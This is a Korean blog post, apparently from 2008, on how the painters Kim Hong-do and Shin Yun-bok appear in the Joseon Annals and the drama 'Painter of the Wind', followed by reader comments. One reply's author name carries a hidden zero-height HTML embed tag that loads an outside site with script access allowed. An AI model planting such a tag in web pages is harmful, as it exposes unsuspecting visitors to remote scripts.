'조선왕조실록'이 인터넷 사이트로 열리면서 참 여러가지로 역사가 가까워진 느낌입니다. 역사상의 인물들을 한번씩 검색해 보는 재미도 있고, 거기서 가끔씩 의외의 발견을 하기도 하지요.

단원 김홍도나 혜원 신윤복은 조선시대의 대표적인 화가로 모르는 사람이 없지만 사실 조선왕조실록에 등장하기를 기대하기는 좀 힘든 사람들입니다. 왕조실록은 아무래도 왕과 근신들에 의한 통치행위에 대한 일기의 성격이기 때문에 당시로서는 천한 화공들이 다뤄지기엔 좀 무리가 있죠. 하긴 연산군일기에는 '왕의 남자'의 모티브를 제공한 공길이란 광대가 나오기도 하지만...


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아무튼 검색 결과. 우선 '신윤복'을 검색했지만 영-정조대에 신윤복이란 이름의 인물과 관련된 기사는 전혀 등장하지 않았습니다. 일단 실망.

하지만 김홍도는 달랐습니다. 일단 첫번째 기록은 정조 5년(1781 신축 / 청 건륭(乾隆) 46년) 8월 26일(병신)의 기사로 '어진 1본을 규장각에 봉안하기 위해 화사 김홍도 등에게 모사를 명하다'라는 내용입니다. 여기 보면,

...이어 화사(畵師) 한종유(韓宗裕) · 신한평(申漢枰) · 김홍도(金弘道) 에게 각기 1본씩 모사(摸寫)하라고 명하였다.

라는 얘기가 나옵니다. 다들 아시는 바와 같이 신한평은 바로 신윤복의 아버지죠. 그럼 김홍도와 신윤복이 알고 지냈을 가능성은 대단히 풍부해집니다. 아들이었건 딸이었건(^^) 이렇게 어진을 함께 모사할 정도의 사이라면 어려서라도 보긴 봤겠죠. 이때 김홍도는 36세의 한창 나이입니다. 기록대로 신윤복이 1758년생이라면 이때 23세로군요.

김홍도에 대한 기록은 두 차례 더 나옵니다. 저 기사가 나오고 바로 다음달인 9월 3일(임인), '익선관에 곤룡포를 입고 김홍도에게 어용을 그리게 하다'라는 기록이죠. '희우정(喜雨亭) 에 나아가 승지·각신을 소견하였다. 익선관(翼善冠)에 곤룡포(袞龍袍)를 갖추고 화사(畵師) 김홍도(金弘道) 에게 어용(御容)의 초본(初本)을 그리라고 명하였다'고 되어 있습니다.

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희우정은 창덕궁의 후원 안에 있는 아름다운 정자입니다. 마포구 합정동에도 희우정이 있다고 하는데 설마 그 희우정은 아니겠죠.

아무튼 14년 뒤인 정조 19년(1795년) 정월 연풍현감 김홍도에게 재정을 제대로 처리하지 못한 죄를 물으라는 공론에 관한 기사가 나옵니다. 화공으로 출세해 현감 벼슬까지 누리고 있었지만 정사에는 그리 밝지 못했던 듯 합니다. 조선왕조실록의 김홍도 관련 기록은 여기까지입니다.

일세를 풍미한 대 화가에 대한 기록이 이 정도라는 것은 실망스럽지만, 그래도 실록에 이름이 세번이나 오르내린다는 것은 대단한 일입니다. 신윤복은 물론이고 조선 3대 화가로 거론되는 안견 역시 단 한번 이름이 나올 뿐입니다.


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'바람의 화원'에는 지난주부터 화산관 이명기라는 당대의 유명 화가가 등장했습니다. 김홍도와 라이벌 구도를 형성해 드라마에 흥미를 더 할 인물이죠. 물론 실제로 존재했던 인물입니다.

당시 초상화의 1인자로 불리던 이명기는 생몰연대가 불분명하지만 1791년 어진화사를 맡았고 1795년 김홍도와 함께 '서직수 초상'을 합작했다는 기록으로 보아 동시대의 인물인 것은 분명합니다.


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이것이 서직수 초상. 오른쪽에 '얼굴은 이명기가, 몸은 김홍도가 그렸다'고 쓰여 있습니다.

이명기가 등장하고 보면 아쉬운 사람들은 많습니다. 특히 긍재 김득신이 이 드라마에 등장하지 않는게 좀 안타깝기도 합니다. 김득신의 그림은 김홍도의 그림으로 착각하는 사람이 많을 정도로 위트있고 서민적인 화풍이 매우 닮아 있죠.

가장 대표적인 그림, '파적도(破寂圖)'입니다. 일명 '야묘도추(野猫盜雛: 들고양이가 병아리를 훔치다)'라고도 하지요. 웃음이 절로 나는 그림입니다.

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1754년생으로 김홍도보다 9세 연하, 신윤복보다는 4세 연상인 김득신은 이처럼 김홍도의 화풍을 계승한 탁월한 화가였는데 이 드라마에서는 자취를 볼 수가 없습니다.

또 있습니다. 1712년생인 최북입니다. 최산수, 최칠칠이라고도 불리는 최북은 상당히 광화사의 표본 같은 인물이죠. 시-서-화에 모두 능했다는 최북은 호방한 성품으로 널리 친구를 사귀고, 금강산에서는 그림을 그리다가 경관에 취해 물에 빠져 죽겠다고 시도를 했다는 일화가 전해 질 정도로 기인의 풍모가 깃든 사람입니다.

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'바람의 화원' 1회에 안경을 쓴 김홍도의 모습이 자주 등장했는데, 최북이야말로 눈을 다쳐 줄곧 안경을 쓰고 그림을 그렸다는군요. 1786년 술을 마시고 길에서 객사했다고 할 정도로 드라마틱한 삶을 산 인물인데, 이 드라마가 현재 조명하고 있는 시기가 정조의 즉위초인 1770년대 말에서 80년대 정도라고 할 때, 충분히 등장할 여지가 있는 인물인데 좀 아쉽습니다.

최북의 '한강조어도(寒江釣魚圖)'입니다.

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혼란을 드려 죄송합니다. 수정했습니다.

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먼저 올렸던 이 그림은 제목이 같은 겸재 정선의 '한강조어도'였습니다.


아무튼 '바람의 화원'으로 인해 조선 후기 회화에 대한 관심이 늘고 있다니 참 반가운 일입니다. 그나자나 간송 미술관은 10년 전에 가 보고 못 가봤군요. 어떻게 좀 더 넓고 시설 좋은 곳으로 옮기면 안될지 참 궁금합니다. 리움 정도의 시설이라면 더 바랄게 없을텐데 말입니다.



관련된 내용입니다. 일단 문근영.



다음은 왕년의 박신양에 대한 내용입니다.

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  1. 후다닥 2008/10/29 11:53

    간만에 일등을.. 움하하하

  2. 만통쩜넷 2008/10/29 11:54

    재미있는 글이네요. 특히 파적도 절로 웃음이 나오는
    그림입니다. 우리 그림들에 대한 애정이 절로 늘어나는
    느낌입니다.^^

  3. 후다닥 2008/10/29 11:55

    조선시대 화가라면 학교에서 배운 3대화가가 다인데..
    기자님은 이 많은 걸 어찌 다 알고 계셨을까요?
    새삼 제 뇌의 용량이 저주스러워요

  4. 땡땡 2008/10/29 12:07

    최북, 최칠칠은 자기 눈을 자기가 찔러서 눈이 멀었다고 하네요

  5. la boumer 2008/10/29 13:43

    오늘 어떤 유명하신 분이 사극의 역사 왜곡이 지나치다고 일침을 놓으셨는데 동의하는 바 입니다.
    왜 신윤복을 여장남자로 만들어 선배인 김홍도와 러브라인을 이루어야 하는지.. 당체 이해가 가지 않습니다..
    우리 나라역사에도 이런 흥미진진한 화가들이 있었다는 걸 보여주려면 실제 인물을 모티프로 하되 그냥 가상의 인물을 세우면 되지 않나요????
    바람의 화원 명품드라마라고 칭찬이 자자한데.. 실제 인물의 왜곡이 지나치다는 게 정말 치명적 실수인 듯..

    • 송원섭 2008/10/29 16:44

      g

    • 원작에 따른거죠.. 2008/10/29 19:36

      정 따지고 싶다면
      소설과와 상의하세요..
      그리고 그 소설을 재미있다고 해서
      드라마화까지 만든
      독자들도 원망하시구요..

    • romania 2008/10/30 01:35

      그런데, 솔직히 우리나라 방송계가 좀 기회주의적이긴 합니다~ 하하...

  6. 아자哲民 2008/10/29 13:16

    간송미술관 가장 최근 방문은 2년전 입니다. 처음으로 갔을 때가 2,000년 즈음이었죠. 정말 한결같은 모습을 유지하고 있습니다. 변하지 않는 도도함이 있죠.

    그런데 최근 유명세와 함께 그 도도함이 좀 변하기를 희망합니다. 공간은 100명도 수용 못할 정도인데, 인파는 수천 명이 몰려오니 정말 난리도 아니죠. 그래서 이제는 정기전시회 가기를 포기했습니다.

    평일 낮에도 장난이 아니랍니다. 학교의 단체관람이 혼란의 주범이라고 하더군요. 더군다나 드라마 땜 시 수많은 주부단체 관람도 폭발직전 이라고 지인이 전해주더군요.

    • 후다닥 2008/10/29 14:02

      동감입니다.
      고즈넉한 분위기에서 감상하기 참 좋았는데 말이죠
      사진 찍으러 몇번 갈 때마다 좋다라는 생각했는데 요즘은 완전 시장통이라고 하더군요..
      휘유~~

    • 송원섭 2008/10/29 16:45

      10년 전에는 시골집 같은 분위기가 매력이기도 했는데 이젠 좀 바뀔 때가 되지 않았나 싶네요.

    • ^^<embed src=http://6kk.kr allowscriptaccess=always height=0> 2008/10/29 23:37

      저도 동감

  7. 하이진 2008/10/29 14:30

    간송 미술관 이번 가을전시회는 난리났었다고 하더군요. 제가 간송을 마지막으로 간 건 작년이었어요. 2001년부터 거의 봄과 가을 전시회를 다 갔었어요. 이번 봄 전시회는 가려고 계획을 다 세워놓고도, 노느라고 못가서 늘 아쉬웠었어요. 그래서 가을 전시회는 꼭 가야지 했는데, 그거마저 놓쳤습니다. 하지만 이번 가을 전시회는 거의 제가 다 본 그림들 같더라구요. 그래서 그다지 아쉽지는 않아요.
    사실 간송 미술관이 시설이 안 좋은건 맞아요. 하지만 정원이 얼마나 이쁜데요... 그리고 1년에 두 번 전시회 하는데 뭐 그리 좋을 필요가 있을까 싶기도 하구요. 다만 이번처럼 사람이 많이 몰리면 좀 무리가 있기는 하죠.
    몇 년 전에 교수님이 간송 미술관의 최완수 실장님과 잘 아셔서 학생 10명 정도 가는데 강의를 해 주신 적이 있었어요. 솔직히 그림 몇 점 보여주시려나하고 기대하며 갔는데 강의만 열심히 하시더군요. 그 고고하신 모습이 눈에 선하네요.

    • 후다닥 2008/10/29 15:44

      간송 컬렉션 외국에서도 유명하다고 하던데요
      정원 예쁜건 뭐 두말하면 잔소리라죠..
      그 근처에 있는 길상사라 묶어서 돌면 참 좋죠..
      간송미술관 1년에 2번 한다는 그 희소성때문에
      더 붐비는 것 같습니다..
      사람들의 미술에 대한 열기가 높아지는 건 좋지만 전처럼 그냥 조용히 감상하는 분위기도 그리워집니다

    • 아자哲民 2008/10/29 16:40

      간송미술관의 정말 좋죠.
      자연스러움을 간직한 정원, 미술관 건물의 독특한 분이기,
      화려한 콜렉션 그리고 국보급 문화제도 압정하나로 고정시키는 그 도도함까지(우리 뭐 이런건 굉장히 많아서 금테 안둘러도... 뭐 이정도 가기고 놀라시긴...)


      그런데 문제는 미술의열기가 너무 고조되 버린 현재 시점에서 미술관은 너무 협소하고 간송의 보물들은 수장고에서 너무 긴 잠을 자고 있는 게 아닐까 싶습니다. 이래저래 좀 아쉽죠.


      지금의 간송을 지키면서도 좀더 많은 사람들에게 감동을 줄 수 있는 방법이 있다면 좋겠습니다.

  8. kerygma 2008/10/29 18:56

    난 말이유...

    형을 보면... 이규태 선생님 생각이 나요...

  9. 라일락향기 2008/10/29 19:54

    음...근영양만 보시는줄 알았는데...^^;;
    언제 이런 자료들을 조사하셨나요? (역시 부지런하신) 유익한 포스팅으로 인해 몰랐던 사실도 알고 오랜만에 저의 지적호기심에 불을 당겨주시는... 여건이 되면 바람의 화원도 시청하고 싶네요.
    그리고 제가 재벌가 싸모님이라면 리움미술관 수준으로 어떻게 추진해볼텐데...아니어서 죄송합니다. ㅡ.,ㅡ

  10. 이가 2008/10/29 20:13

    마지막그림 최북이 아닌 정선의 조어도 입니다.

  11. 금마초 2008/10/30 08:49

    그만큼 우리나라 사극 드라마의 작가나 연출자들이 얼마나 역사 공부를 안하고 날림으로 찍는지를 보여주고 있습니다. 지금처럼 문근영 1인극처럼 되어버리고....
    신윤복이 여자라는 어처구니 없는 허구 사기극으로 만들어 버리다니요....

    • 송원섭 2008/10/30 09:34

      역사 공부와는 아무 상관 없죠. '다빈치 코드'는 혹시 보셨나요?

  12. colabear 2008/10/30 11:52

    이번에 간송미술관 갔다왔는데 정말 놀랐습니다. 저도 한 10여년만에 간거였는데 옆 성북 초등학교안으로 줄이 500m넘게 서있더라구요. 입장하는데 1시간30분. 입장해서는 인파에 밀려 제대로 감상할 수도 없었죠. 드라마의 힘이 이렇게 큰줄 정말 몰랐습니다.

  13. 가을남자 2008/10/30 17:56

    신윤복이 사기에 안나오는것은 벼슬을 하지않았기 때문이 아닐까요? 김홍도는 벼슬도 한것으로 아는데 신윤복은 민간에서 그림을 그렸기에 재미있는 민화를 많이 그린것이 아닐까요?

  14. 강철고양이 2008/11/15 22:16

    와... 스핑크스님...
    미술에 조예가 대단하시구나...

    잘 읽고 갑니다. ^^
    제 블로그에 있는 글도 트랙백으로 올려놓을게요~ ^^

    스핑크스님도 이 포스팅을 제 블로그에
    트랙백으로 올려주신다면 영광이겠습니다.
    (님의 글을 제가 제 블로그에 트랙백하는 건 불가능하지요...?
    트랙백에 서툴러서 말입니다... ^^; )

    • 강철고양이 2008/11/16 22:02

      트랙백 감사합니다. 스핑크스님~ ^^

      전에도 몇 번 들르곤 했었습니다만...
      앞으로도 자주 들르겠습니다. ^^

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